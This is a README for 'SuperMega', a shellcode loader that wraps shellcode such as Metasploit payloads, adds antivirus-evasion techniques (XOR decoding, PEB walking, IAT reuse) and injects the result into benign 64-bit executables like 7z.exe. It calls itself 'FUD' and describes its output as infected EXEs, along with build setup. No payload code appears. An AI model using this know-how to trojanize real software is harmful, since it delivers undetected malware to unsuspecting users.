SuperMega - Cordyceps Implementation

Ophiocordyceps camponoti-balzani is a species of fungus that parasitizes insect hosts of the order Hymenoptera, primarily ants. O. camponoti-balzani infects ants, and eventually kills the hosts after they move to an ideal location for the fungus to spread its spores.

What

SuperMega is a shellcode loader. It will take a shellcode as input, protects it, adds a loader, and injects the resulting shellcode into an exe.

FUD.

And:

• Only works with 64 bit (shellcode and infecteble exe's)

Features:

• Loader source is C yay
• Execution-Guardrails
  • Environment variables
• configurable implementation
• different EXE injection techniques

Plugins:

• source style:
  • PEB_WALK
  • IAT_REUSE
• alloc style:
  • RWX
  • REUSE_RWX
• decoder style:
  • PLAIN_1
  • XOR_1
• dataref style:
  • APPEND

Examples

Metasploit in 7z

Inject metasploit into 7z.exe. It will use PEB_WALK.

Directories

• shellcodes/: Input: Shellcodes we want to use as input (payload)
• source/: Input: Loader C templates
• plugins/: Input: Loader C implementations
• exes/: Input: Nonmalicious EXE files we inject into
• build/: build: Temporary files during build process
• logs/: build: Files generated by building (inspect for debugging)
• out/: output. The generated result: infected exe

Installation

Paths

Configure config.yaml with:

• Path to Visual Studio 2022 compiler and assembler
• Path to mash_shc and runshc: https://github.com/hasherezade/masm_shc.

config.yaml:

path_cl: 'C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\bin\Hostx64\x64\cl.exe'
path_ml64:  'C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\bin\Hostx64\x64\ml64.exe'

path_masmshc:  'C:\Users\hacker\Source\Repos\masm_shc\out\build\x64-Debug\masm_shc\masm_shc.exe'
path_runshc: 'C:\Users\hacker\Source\Repos\masm_shc\out\build\x64-Debug\runshc\runshc.exe'

Make sure its the Hostx64/x64/ one exe. Make sure to compile msmshc and runshc as 64bit. You can also replace runshc with your own shellcode loader.

Environment Variables

$Env:PATH += ";C:\Tools\radare2-5.8.8-w64\bin"

Use

"C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build\vcvars64.bat"

or the VS developer console to find the damn environment variables, and set it in your python console. In my case:

$env:INCLUDE = "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\ATLMFC\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt;C:\Program Files (x86)\Windows Kits\NETFXSDK\4.8\include\um"
